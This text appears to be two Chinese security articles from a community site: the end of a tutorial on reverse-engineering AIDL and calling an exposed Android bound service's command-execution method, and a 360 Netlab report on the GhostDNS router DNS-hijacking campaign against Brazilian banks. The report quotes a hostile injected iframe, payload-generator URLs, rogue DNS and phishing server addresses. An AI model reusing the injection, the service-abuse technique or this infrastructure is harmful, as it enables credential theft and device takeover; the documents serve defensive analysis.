接下来,我们创建一个 AIDL 接口,叫作 “com.jakev.boundserver.aidl.TestInterface”。如上文所述,我们的
“exec()" 方法会接收一个 String类型的参数,再返回一个 String 类型的值:
最后,我们创建一个叫作 “com.jakev.boudserver.ITestService.java” 的服务类。我们需要实现 “onBind()”
方法,并向我们上面创建的 “TestInterface” 接口返回一个实例:
为了与这个服务进行交互,我们需要创建一个包括上面的 AIDL 文件的应用程序。如果你是开发人员,那么你很可能会分发一个包含
“TestInterface.aidl” 文件和其他支撑类的 JAR
库,以便于其他开发人员的应用程序与你的新服务交互。但如果你是攻击者,你就不必在这上面浪费心思了。
探索服务 APK
假设我们找到了安装在设备上的 “com.jakev.boundserver” 应用程序,现在现在我们需要搞定这个 “.ITestService”
服务。我们没有这个应用程序的源代码,只有它的 APK。我们把这个应用从设备中pull下来,并用 “apktool” 来解压它:
第一步,我们来看 “.ITestService" 服务类,它在
“smali/com/jakev/boundserver/ITestService.smali” 中。“onBind()”
方法很简单,我们可以看到这个服务正在实例化一个内部类 “ITestService$1” 并返回它。这就是我们上面的源代码中 “new
TestInterface.Stub() { }”这段代码干的事。
打开 “smali/com/jakev/boundserver/ITestService$1.smali”,我们会看到它正在执行一个叫
“com.jakev.boundserver.aidl.TestInterface$Stub” 的类,这个类我们之前没有看过。在虚拟方法部分,我们可以看到
“exec()” 的实际运行过程。作为一个逆向工程师,你很有可能从这个方法入手,去确定 “exec()” 方法的功能。
接下来,看看我们的 AIDL 文件发生了什么变化。现在有3个不同的类,分别叫做
“TestInterface.smali”、"TestInterface$Stub.smali" 和
“TestInterface$Stub$Proxy.smali”,如下图所示:
Android Studio 在我们创建应用程序时就帮我们生成了这三个类。许多论文都讨论了它们所扮演的角色,所以我在此就不赘述了。几个关键点如下:
•“TestInterface” 实现了 “android.os.IInterface" 。它包含了所有 Binder 抽象方法的定义。
•“TestInterface$Stub” 实现了 “android.os.Binder” ,它包含了存储为字段的 Binder 事务标识符,命名规则参照
“TRANSACTION_{methodName}”。这些 ID 字段跟用 “service” 命令行程序调用服务时使用的是一样的。
•“TestInterface$Stub$Proxy" 类没有实现或集成任何接口或方法,但它包含了每个 Binder 方法的返回类型和参数信息。
如果你在看一个新的应用程序并想列举它的 Binder 接口和方法执行情况,那么你可以用下面的搜索方法:
搜索 AIDL 类:
grep -r "super.*IInterface" ./smali
搜索 AIDL 的执行情况:
grep -r "super.*${AIDL class from above}" ./smali
利用这些信息,我们可以重建 AIDL,并把它加入到我们的客户端程序。你可以手动地操作这一步,也可以使用我做的 “GenerateAIDL.jar”
工具。这个工具用 DexLib2 库来分析应用程序的 DEX 代码并输出 AIDL 文件,帮助你快速地将 AIDL 文件添加到你的客户端。
如果我们打开这个文件,我们应该可以看到一个 AIDL 接口,跟我们上面创建的那个很相似。
记住这只是一个很小的例子。在真实环境中可能有不止一个方法(还很可能会有一些导入的库)。
攻击 bound Services
现在我们要利用刚刚生成的 AIDL 文件来创建客户端 “com.jakev.serverclient" 了,它与 “.ITestService"
进行交互。我尽可能地让这个工程简单一些,这样易于重复使用。
第一步是创建或导入我们的 AIDL 文件。我们希望将上面生成的 AIDL 文件导入一个特定的文件夹,注意将包名称写对:
第二步,我们要在我之前创建的模版 “MainActivty" 类的基础上加以修改。首先以导入的方式添加 AIDL,然后添加一个名为 “service"
的对象:
接着,改变 “initService()” 方法中 Intent 的类名,改成你要与之交互的服务的名字:
最后一步,修改本地 “ServiceConnection" 类中的 “onServiceConnect()" 方法,来实现与 bound Services
的交互。在这个例子中,我们调用其中的 “exec()" 方法,提供命令“id”,并且将它返回结果记录在安卓日志里。
如果我们创建、安装并运行我们的客户端应用程序,我们应该会看到日志中输出的 “id” 命令:
**总结**
如果有足够的权限,攻击者可以跟其他组件一样与 bound Services
交互。所以重要的是,你要对你的应用程序罗列一下暴露的组件,确保这些都是你想要暴露的。对于任何执行敏感操作的组件(比如执行命令),你都要确保对它们应用了正确权限。
**资源:**
•[http://stackoverflow.com/questions/15330233/remote-service-with-aidl-file-serviceconnection-never-called](http://stackoverflow.com/questions/15330233/remote-service-with-aidl-file-serviceconnection-never-called)
•[http://developer.android.com/reference/android/content/ServiceConnection.html](http://developer.android.com/reference/android/content/ServiceConnection.html)
•[http://developer.android.com/guide/components/bound-services.html](http://developer.android.com/guide/components/bound-services.html)
•[http://developer.android.com/guide/components/aidl.html](http://developer.android.com/guide/components/aidl.html)
•<https://newcircle.com/s/post/48/implementing_remote_interface_using_aidl>
**下载:**
•TestBoundServer Studio Project
[[source](https://github.com/jakev/BoundServiceExamples/tree/master/TestBoundServer)]
[[APK](https://github.com/jakev/BoundServiceExamples/blob/master/bins/TestBoundServer-signed.apk)]
•TemplateServiceClient Studio Project
[[source](https://github.com/jakev/BoundServiceExamples/tree/master/TemplateServiceClient)]
[[APK](https://github.com/jakev/BoundServiceExamples/blob/master/bins/TemplateServiceClient-signed.apk)]
•GenerateAIDL.jar [[source](https://github.com/jakev/GenerateAIDL)]
[[JAR](https://github.com/jakev/GenerateAIDL/blob/master/bin/GenerateAIDL-1.0.jar)] | 社区文章 |
# GhostDNS正在针对巴西地区70种、100,000+家用路由器做恶意DNS劫持
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景介绍
从2018年9月20号开始，360Netlab
Anglerfish蜜罐系统监测到互联网上有大量IP正在针对性地扫描路由器系统。攻击者尝试对路由器Web认证页面进行口令猜解或者通过dnscfg.cgi漏洞利用绕过身份认证，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue
DNS Server[[1]](https://en.wikipedia.org/wiki/DNS_hijacking) 。
我们共发现3套成熟的DNSChanger程序，根据其编程语言特性我们将它们分别命名为Shell DNSChanger，Js DNSChanger，PyPhp
DNSChanger。目前这3套DNSChanger程序由同一个恶意软件团伙运营，其中以PyPhp
DNChanger部署规模最大。根据其功能特性，我们将它们统一命名为DNSChanger System。
事实上DNSChanger System是该恶意软件软件团伙运营系统中的一个子系统，其它还包括：Phishing Web System，Web Admin
System，Rogue DNS System。这4个系统之间相互协同运作实现DNS劫持功能，我们将这整个系统命名为GhostDNS。
我们发现一伙攻击者利用GhostDNS系统攻击了巴西地区超过 70 种、100,000
个家用路由器，通过篡改这些路由器上的配置，攻击者劫持了这些路由器的DNS解析，并进一步窃取了路由器用户在 50+
网站上的登录凭证、银行帐号等信息。被劫持通信的网站主要涉及银行，云主机服务商等网站，其中也包括avira安全公司。
## GhostDNS系统
GhostDNS系统是由4个子系统组成，分别是：DNSChanger System，Phishing Web System，Web Admin
System，Rogue DNS System等。其中DNSChanger
System中主要包括信息搜集，漏洞利用等阶段，另外在3套DNSChanger程序中也会有不同的实现方式。
[](https://blog.netlab.360.com/content/images/2018/10/ghostdns.png)
图1：GhostDNS流程图（点击图片放大）
### DNSChanger System
DNSChanger System是GhostDNS的基础架构，攻击者通过3套DNSChanger程序，覆盖外网和内网攻击入口，包含 100+
个攻击脚本，影响 70+ 款路由器型号。
[](https://blog.netlab.360.com/content/images/2018/09/dnschanger.jpg)
图2：3套DNSChanger程序对比图
### Shell DNSChanger 分析
Shell DNSChanger最后一次更新时间在2016年6月左右，主要通过Shell
编写完成共涉及25个攻击脚本，可以感染21款路由器/固件。它的功能结构主要分为：扫描程序和攻击程序。攻击者目前对Shell
DNSChanger程序部署量很少，基本已经淘汰了该程序。
攻击者采用了一款第三方程序 Fast HTTP Auth Scanner
v0.6（FScan）作为扫描程序，同时配置了大量扫描规则,用户口令列表以及一些启动脚本。Fscan扫描IP范围是经过挑选的一个网段列表，同时这些网段IP大部分都归属于巴西。
攻击程序通过扫描程序搜集到的路由器设备信息，对这些路由器Web认证页面进行口令猜解，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue DNS
Server。
以下是Shell DNSChanger关键代码结构
├── brasil
├── changers
│ ├── 3com1
│ ├── aprouter
│ ├── dlink1
│ ├── dlink2
│ ├── dlink3
│ ├── dlink4
│ ├── dlink5
│ ├── dlink6
│ ├── dlink7
│ ├── dlink7_
│ ├── globaltronic
│ ├── huawei
│ ├── intelbrass
│ ├── kaiomy
│ ├── mikrotik
│ ├── oiwtech
│ ├── ralink
│ ├── realtek
│ ├── speedstream
│ ├── speedtouch
│ ├── speedtouch2
│ ├── tplink1
│ ├── tplink2
│ ├── tplink3
│ ├── triz
│ └── viking
├── configs
├── logs
├── mdetector
├── mikrotik
├── ralink
├── src
│ ├── BasicAuth.cpp
│ ├── Makefile
│ ├── Net-Telnet-3.03.tar.gz
│ ├── base64.cpp
│ ├── config.cpp
│ ├── fscan.cpp
│ ├── md5.cpp
│ ├── md5.h
│ ├── sockets.cpp
│ ├── sslscanner.h
│ ├── ulimit
│ └── webforms.cpp
├── .fscan
└── .timeout
以下是已识别受影响的路由器/固件
3COM OCR-812
AP-ROUTER
D-LINK
D-LINK DSL-2640T
D-LINK DSL-2740R
D-LINK DSL-500
D-LINK DSL-500G/DSL-502G
Huawei SmartAX MT880a
Intelbras WRN240-1
Kaiomy Router
MikroTiK Routers
OIWTECH OIW-2415CPE
Ralink Routers
SpeedStream
SpeedTouch
Tenda
TP-LINK TD-W8901G/TD-W8961ND/TD-8816
TP-LINK TD-W8960N
TP-LINK TL-WR740N
TRIZ TZ5500E/VIKING
VIKING/DSLINK 200 U/E
### Js DNSChanger 分析
Js DNSChanger主要通过Java
Script编写完成共涉及10个攻击脚本，可以感染6款路由器/固件。它的功能结构主要分为扫描程序，Payload生成器和攻击程序。Js
DNSChanger程序一般会注入到一些钓鱼网站代码中，和Pishing Web System协同工作。
我们在 35.236.25.247（网站标题为：Convertidor Youtube Mp3 | Mp3 youtube）首页发现了Js
DNSChanger代码。
<iframe src="http://193.70.95.89/2021/" frameborder="0" height="0" scrolling="no" title="no" width="0"></iframe>
攻击者通过Image()函数对一个预定义的内网IP地址进行端口扫描，如果检测到端口开放会将该内网IP上报给Payload生成器。
#扫描程序
http://193.70.95.89/2021/index2.php
Payload生成器会根据路由器IP和Rogue DNS IP生成相应Base64编码的Payload，然后通过Data URI
Scheme形式运行相应HTML代码。
#Payload生成器
http://193.70.95.89/2021/api.init.php?d=192.168.1.1
攻击程序通过jQuery.ajax构造相应Http请求，对这些路由器Web认证页面进行口令猜解，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue
DNS Server。
以下是Js DNSChanger部分代码结构：
├── api.init.php
├── index.php
└── index2.php
以下是已识别受影响的路由器/固件
A-Link WL54AP3 / WL54AP2
D-Link DIR-905L
Roteador GWR-120
Secutech RiS Firmware
SMARTGATE
TP-Link TL-WR841N / TL-WR841ND
以下是其扫描IP范围
192.168.0.1
192.168.15.1
192.168.1.1
192.168.25.1
192.168.100.1
10.0.0.1
192.168.2.1
### PyPhp DNSChanger 分析
PyPhp DNSChanger程序在2018年4月26号左右完成开发，主要通过python和php编写完成，共涉及 69 个攻击脚本，可以感染 47
款路由器/固件。它的功能结构主要分为Web API，扫描程序和攻击程序。攻击者一般会在云服务器部署大量PyPhp
DNSChanger程序实例，这也是攻击采用的DNSChanger主要攻击手段。我们已累计发现 100+ PyPhp
DNSChanger扫描节点，其中有大量IP位于Google云。
Web API是和Admin Web System通信的接口，攻击者可以通过它控制各个扫描节点，比如执行扫描任务等。
扫描程序包括Masscan端口扫描和利用Shodan
API筛选banner特征获取到相应路由器设备IP信息。Masscan扫描IP范围是经过挑选的一个网段列表，这些网段IP大部分都归属于巴西。另外Shodan
API搜索条件也限制了只搜索巴西国家。
有意思的是我们在Github上发现一个项目跟攻击者使用相同的Shodan API Key，并且这个Key是属于教育研究用途，但我们不确定这个Shodan
API Key是否因泄漏而导致被攻击者利用。
以下是攻击者使用的Shodan API Key信息
API key: LI****Lg9P8****X5iy****AaRO
Created: 2017-11-03T16:55:13.425000
Plan: EDU
攻击程序会根据扫描程序搜集到的路由器IP信息，对这些路由器Web认证页面进行口令猜解或者通过dnscfg.cgi漏洞利用绕过身份认证，然后通过相应DNS配置接口篡改路由器默认DNS地址为Rogue
DNS Server。
另外，PyPhp DNSChanger程序还存在感染成功统计页面，可以清楚地看到每个扫描节点的感染情况。
图3：一个PyPhp DNSChanger扫描节点统计页面以下是PyPhp DNSChanger部分代码结构
├── api
├── application
│ ├── class
│ │ ├── routers
│ │ │ ├── routers.28ZE.php
│ │ │ ├── routers.AN5506-02-B.php
│ │ │ ├── routers.ELSYSCPE-2N.php
│ │ │ ├── routers.PQWS2401.php
│ │ │ ├── routers.TLWR840N.php
│ │ │ ├── routers.WR941ND.php
│ │ │ ├── routers.airos.php
│ │ │ ├── routers.c3t.php
│ │ │ ├── routers.cisconew.php
│ │ │ ├── routers.dlink.905.php
│ │ │ ├── routers.dlink.dir600.php
│ │ │ ├── routers.dlink.dir610.php
│ │ │ ├── routers.dlink.dir610o.php
│ │ │ ├── routers.dlink.dir615.php
│ │ │ ├── routers.fiberhome.php
│ │ │ ├── routers.fiberhomenew.php
│ │ │ ├── routers.ghotanboa.php
│ │ │ ├── routers.goahed.php
│ │ │ ├── routers.greatek.php
│ │ │ ├── routers.greatek2.php
│ │ │ ├── routers.gwr120.php
│ │ │ ├── routers.huawei.php
│ │ │ ├── routers.intelbras.php
│ │ │ ├── routers.intelbras.wrn240.php
│ │ │ ├── routers.intelbras.wrn300.php
│ │ │ ├── routers.intelbrasN150.php
│ │ │ ├── routers.linkone.php
│ │ │ ├── routers.livetimdslbasic.php
│ │ │ ├── routers.livetimsagecom.php
│ │ │ ├── routers.mikrotkit.php
│ │ │ ├── routers.multilaser.php
│ │ │ ├── routers.oiwtech.php
│ │ │ ├── routers.othermodels.php
│ │ │ ├── routers.sharecenter.php
│ │ │ ├── routers.thomson.php
│ │ │ ├── routers.timdsl.php
│ │ │ ├── routers.timvmg3312.php
│ │ │ ├── routers.wirelessnrouter.php
│ │ │ ├── routers.wrn1043nd.php
│ │ │ ├── routers.wrn342.php
│ │ │ ├── routers.wrn720n.php
│ │ │ ├── routers.wrn740n.php
│ │ │ ├── routers.wrn749n.php
│ │ │ ├── routers.wrn840n.php
│ │ │ ├── routers.wrn841n.php
│ │ │ └── routers.wrn845n.php
│ │ ├── routers_py
│ │ │ ├── WR300build8333.py
│ │ │ ├── install.sh
│ │ │ ├── router.ArcherC7.py
│ │ │ ├── router.FiberLink101.py
│ │ │ ├── router.GEPONONU.py
│ │ │ ├── router.PNRT150M.py
│ │ │ ├── router.QBR1041WU.py
│ │ │ ├── router.RoteadorWirelessN300Mbps.py
│ │ │ ├── router.SAPIDORB1830.py
│ │ │ ├── router.TENDAWirelessNBroadbandrouter.py
│ │ │ ├── router.TLWR840N.py
│ │ │ ├── router.TLWR841N.py
│ │ │ ├── router.TLWR849N.py
│ │ │ ├── router.TPLINKWR841N.py
│ │ │ ├── router.TechnicLanWAR54GSv2.py
│ │ │ ├── router.TendaWirelessRouter.py
│ │ │ ├── router.WEBManagementSystem.py
│ │ │ ├── router.WLANBroadbandRouter.py
│ │ │ ├── router.WebUI.py
│ │ │ ├── router.WirelessNWRN150R.py
│ │ │ ├── router.WirelessRouter.py
│ │ │ ├── router.WiveNGMTrouterfirmware.py
│ │ │ ├── router.ZXHNH208N.py
│ │ │ └── scan
│ │ │ ├── __init__.py
│ │ │ └── password.py
│ │ ├── scanner
│ │ │ └── class.scanner.utils.php
│ │ ├── shodan
│ │ │ ├── class.shodan.php
│ │ │ └── cookie.txt
│ │ ├── utils
│ │ │ ├── class.colors.php
│ │ │ ├── class.utils.php
│ │ │ └── class.webrequest.php
│ │ └── web
│ │ ├── blockedtitles
│ │ ├── class.web.api.php
│ │ └── class.web.interface.php
│ ├── config.bruteforce.php
│ ├── config.init.php
│ ├── config.layout.php
│ ├── config.rangelist - bkp.php
│ ├── config.rangelist.php
│ ├── config.routers.php
│ ├── config.scanner.php
│ ├── launchers
│ │ └── attack
│ │ └── launch
│ └── logs
├── logs
│ ├── change.log
│ └── gravar.php
├── parse_logs
└── scanner
├── api.php
├── extrator.php
├── ranged_scanner.php
├── rodar.php
├── rodarlista.php
├── shodan.php
└── teste.py
以下是已识别受影响的路由器/固件
AirRouter AirOS
Antena PQWS2401
C3-TECH Router
Cisco Router
D-Link DIR-600
D-Link DIR-610
D-Link DIR-615
D-Link DIR-905L
D-Link ShareCenter
Elsys CPE-2n
Fiberhome
Fiberhome AN5506-02-B
Fiberlink 101
GPON ONU
Greatek
GWR 120
Huawei
Intelbras WRN 150
Intelbras WRN 240
Intelbras WRN 300
LINKONE
MikroTik
Multilaser
OIWTECH
PFTP-WR300
QBR-1041 WU
Roteador PNRT150M
Roteador Wireless N 300Mbps
Roteador WRN150
Roteador WRN342
Sapido RB-1830
TECHNIC LAN WAR-54GS
Tenda Wireless-N Broadband Router
Thomson
TP-Link Archer C7
TP-Link TL-WR1043ND
TP-Link TL-WR720N
TP-Link TL-WR740N
TP-Link TL-WR749N
TP-Link TL-WR840N
TP-Link TL-WR841N
TP-Link TL-WR845N
TP-Link TL-WR849N
TP-Link TL-WR941ND
Wive-NG routers firmware
ZXHN H208N
Zyxel VMG3312
### Web Admin System
我们对这个系统所了解的信息比较少，但是能够确认它是属于Web Admin System，并且跟PyPhp DNSChanger协同工作。
图4：Web Admin System登录界面通过Web Admin System登陆框提示信息“Elite
Priv8”，我们认为Elite是攻击者的一个标志，Priv8意思是“Private”。同时我们发现跟这个帖子《testador santander
banking 2.1 versão beta elitepriv8》[[2]](http://www.forum-hacker.com.br/archive/index.php/t-537.html) 采用了同样的描述。
以下是Web Admin Server地址
198.50.222.139 "AS16276 OVH SAS"
### Rogue DNS System
通过对Rogue DNS
Server（139.60.162.188）碰撞检测，我们共发现它劫持了52个域名，主要涉及银行，云主机服务商等网站，其中也包括avira安全公司。
以下是Rogue DNS Server（139.60.162.188）劫持细节
{"domain": "avira.com.br", "rdata": ["0.0.0.0"]}
{"domain": "banco.bradesco", "rdata": ["198.27.121.241"]}
{"domain": "bancobrasil.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bancodobrasil.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bradesco.com.br", "rdata": ["193.70.95.89"]}
{"domain": "bradesconetempresa.b.br", "rdata": ["193.70.95.89"]}
{"domain": "bradescopj.com.br", "rdata": ["193.70.95.89"]}
{"domain": "br.wordpress.com", "rdata": ["193.70.95.89"]}
{"domain": "caixa.gov.br", "rdata": ["193.70.95.89"]}
{"domain": "citibank.com.br", "rdata": ["193.70.95.89"]}
{"domain": "clickconta.com.br", "rdata": ["193.70.95.89"]}
{"domain": "contasuper.com.br", "rdata": ["193.70.95.89"]}
{"domain": "credicard.com.br", "rdata": ["198.27.121.241"]}
{"domain": "hostgator.com.br", "rdata": ["193.70.95.89"]}
{"domain": "itau.com.br", "rdata": ["193.70.95.89"]}
{"domain": "itaupersonnalite.com.br", "rdata": ["193.70.95.89"]}
{"domain": "kinghost.com.br", "rdata": ["193.70.95.89"]}
{"domain": "locaweb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "netflix.com.br", "rdata": ["35.237.127.167"]}
{"domain": "netflix.com", "rdata": ["35.237.127.167"]}
{"domain": "painelhost.uol.com.br", "rdata": ["193.70.95.89"]}
{"domain": "santander.com.br", "rdata": ["193.70.95.89"]}
{"domain": "santandernet.com.br", "rdata": ["193.70.95.89"]}
{"domain": "sicredi.com.br", "rdata": ["193.70.95.89"]}
{"domain": "superdigital.com.br", "rdata": ["193.70.95.89"]}
{"domain": "umbler.com", "rdata": ["193.70.95.89"]}
{"domain": "uolhost.uol.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.banco.bradesco", "rdata": ["198.27.121.241"]}
{"domain": "www.bancobrasil.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bradesco.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bradesconetempresa.b.br", "rdata": ["193.70.95.89"]}
{"domain": "www.bradescopj.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.br.wordpress.com", "rdata": ["193.70.95.89"]}
{"domain": "www.caixa.gov.br", "rdata": ["193.70.95.89"]}
{"domain": "www.citibank.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.credicard.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.hostgator.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.itau.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.kinghost.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.locaweb.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.netflix.com", "rdata": ["193.70.95.89"]}
{"domain": "www.netflix.net", "rdata": ["193.70.95.89"]}
{"domain": "www.painelhost.uol.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.santander.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.santandernet.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.sicredi.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.superdigital.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.umbler.com", "rdata": ["193.70.95.89"]}
{"domain": "www.uolhost.com.br", "rdata": ["193.70.95.89"]}
{"domain": "www.uolhost.uol.com.br", "rdata": ["193.70.95.89"]}
以下是其它Rogue DNS Server列表
139.60.162.188 "AS395839 HOSTKEY"
139.60.162.201 "AS395839 HOSTKEY"
144.22.104.185 "AS7160 Oracle Corporation"
173.82.168.104 "AS35916 MULTACOM CORPORATION"
18.223.2.98 "AS16509 Amazon.com, Inc."
185.70.186.4 "AS57043 Hostkey B.v."
192.99.187.193 "AS16276 OVH SAS"
198.27.121.241 "AS16276 OVH SAS"
200.196.240.104 "AS11419 Telefonica Data S.A."
200.196.240.120 "AS11419 Telefonica Data S.A."
35.185.9.164 "AS15169 Google LLC"
80.211.37.41 "AS31034 Aruba S.p.A."
### Phishing Web System
Pishing Web System 需要跟Rogue DNS System协同工作，Rogue DNS
Server会修改特定域名的A记录解析结果并返回一个Pishing Web Server地址，然后根据受害者请求的Hostname引导至相应的钓鱼网站程序。
通过对193.70.95.89所劫持的域名进行访问，我们发现攻击者克隆了相应官方网站的首页，并篡改了登录表单提交链接为Pishing Web
API接口。然后我们对这些钓鱼网站首页进行指纹识别，计算首页文件md5，共检测到 19 款钓鱼网站程序。
以下是钓鱼程序列表：
md5, url, hostname, pishing web api
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php']
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php']
42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php']
4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php']
4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php']
492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php']
492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php']
492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php']
5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php']
70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php']
748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php']
8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']
8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']
97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php']
9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php']
a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php']
cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php']
d01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php']
f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php']
fbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php']
ffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']
ffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php']
以下是其它Phishing Web Server列表
193.70.95.89 "AS16276 OVH SAS"
198.27.121.241 "AS16276 OVH SAS"
35.237.127.167 "AS15169 Google LLC"
### 被感染的路由器信息
通过9月21号～9月27号的GhostDNS系统日志，我们观察到其已经感染了 100k+ 个路由器IP地址，70+
款路由器型号。根据国家进行统计巴西占比87.8%。由于路由器设备IP地址会动态更新，实际设备数会有所不同。
图5：被感染的路由器IP 国家/地区分布以下是被感染的路由器IP 国家/地区详细列表
BR 91605
BO 7644
AR 2581
SX 339
MX 265
VE 219
US 191
UY 189
CL 138
CO 134
GT 80
EC 71
GY 70
RU 61
RO 51
PY 38
PA 35
UA 34
HN 33
BG 33
以下是感染成功的路由器Web管理页面title列表
28ZE
ADSL2 PLUS
AIROS
AN550602B
BaseDashboard
C3T Routers
DIR600 1
DIR-615 DLINK
Dlink DIR-610
Dlink DIR-611
DLINK DIR-905L
DSL Router
DSL Router - GKM 1220
ELSYS CPE-2N
FiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520
FiberLink101
GoAhead-Boa
GoAhead-Webs
GoAhead-Webs Routers
GoAhed 302
GOTHAN
GREATEK
GWR-120
KP8696X
Link One
Mini_httpd
Multilaser Router
OIWTECH
Proqualit Router
Realtek Semiconductor
Realtek Semiconductor [Title]
Roteador ADSL
Roteador Wireless KLR 300N
Roteador Wireless N 150Mbps
Roteador Wireless N 150 Mbps
Roteador Wireless N 300 Mbps
Roteador Wireless N 300 Mbps [ LinkOne ]
Roteador Wireless N 300 Mbps [Link One]
Roteador Wireless N ( MultiLaser )
Roteador Wireless N [ MultiLaser ]
TENDA
TimDSL
TL-WR740N / TL-WR741ND
TL-WR840N
TL-WR849N
TP-LINK Nano WR702N
TP-LINK Roteador Wireless
TP-LINK Roteador Wireless N WR741ND
TP-LINK TL-WR941HP
TP-LINK Wireless AP WA5210G
TP-LINK Wireless Lite N Router WR740N
TP-LINK Wireless Lite N Router WR749N
TP-LINK Wireless N Gigabit Router WR1043ND
TP-LINK Wireless N Router WR841N/WR841ND
TP-LINK Wireless N Router WR845N
TP-LINK Wireless N Router WR941ND
TP-LINK Wireless Router
TP-LINK WR340G
TP-LINK WR720N
TP-LINK WR740N
TP-LINK WR741N
TP-LINK WR743ND
